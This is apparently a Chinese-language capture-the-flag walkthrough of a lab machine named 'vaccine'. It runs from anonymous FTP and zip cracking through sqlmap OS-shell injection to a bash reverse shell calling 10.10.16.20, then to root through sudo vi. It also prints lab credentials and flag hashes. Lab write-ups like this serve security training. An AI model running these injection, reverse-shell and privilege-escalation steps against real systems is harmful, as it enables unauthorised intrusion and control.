嘗試注入。。失敗
發現網頁沒啥有用的
看看 21 端口開放的 ftp
連接成功,帳號 Anonymous,密碼為空
發現文件:backup.zip
使用 kali 自帶的 zip2john 破解密碼
得到密碼:741852963 (backup.zip)
unzip 文件名 解壓
用密碼解壓後,得到兩個文件 (index.php、Style.css)
在 index.php 裡發現這樣一行代碼
``session_start();
if(isset($_POST['username']) && isset($_POST['password'])) {
if($_POST['username'] === 'admin' && md5($_POST['password']) === "2cb42f8734ea607eefed3b70af13bbd3") {
$_SESSION['login'] = "true";
header("Location: dashboard.php");
}
}
?>
用 MD5 加密的值是 qwerty789
同時發現網站的登錄地址是 :dashboard.php
發現此處報錯,證明有 sql 注入
嘗試 sqlmap 注入:
sqlmap -u http://10.129.147.44/dashboard.php?search=1 --cookie PHPSESSID=5a28uftk57hrg3vrunr3cis8cs --batch --os-shell
獲得的 shell 是非交互式,要在此利用反彈 shell,以獲得交互式 shell
bash -c "bash -i >& /dev/tcp/10.10.16.20/12123 0>&1"
監聽端口 12123
拿到 shell
postgres@vaccine:/var/lib/postgresql$ ls
ls
11
user.txt
postgres@vaccine:/var/lib/postgresql$ cat user.txt
cat user.txt
ec9b13ca4d6229cd5cc1e09980965bf7
在 www 目錄發現 dashboard.php 裡看到這樣信息
try {
$conn = pg_connect("host=localhost port=5432 dbname=carsdb user=postgres password=P@s5w0rd!");
}
有了密碼,嘗試 ssh 連接
ssh postgres@10.129.147.44
這裡再次發現 user.txt
postgres@vaccine:~$ ls
11 user.txtpostgres@vaccine:~$ cat user.txtec9b13ca4d6229cd5cc1e09980965bf7
這裡是使用 vi 編輯器提權,vi 裡可以直接輸入命令,因為這個 vi 是 sudo 打開,調出的 shell 也就是 root 身份。
命令:sudo /bin/vi/etc/postgresql/11/main/pg_hba.conf
密碼:P@s5w0rd!
在 vi 編輯界面裡,輸入:!/bin/bash
提權成功
=================================================================
在根目錄發現 root.txt
root@vaccine:~# ls
pg_hba.conf root.txt snap
root@vaccine:~# cat root
cat: root: No such file or directoryroot@vaccine:~# cat root.txt
至此拿到 flag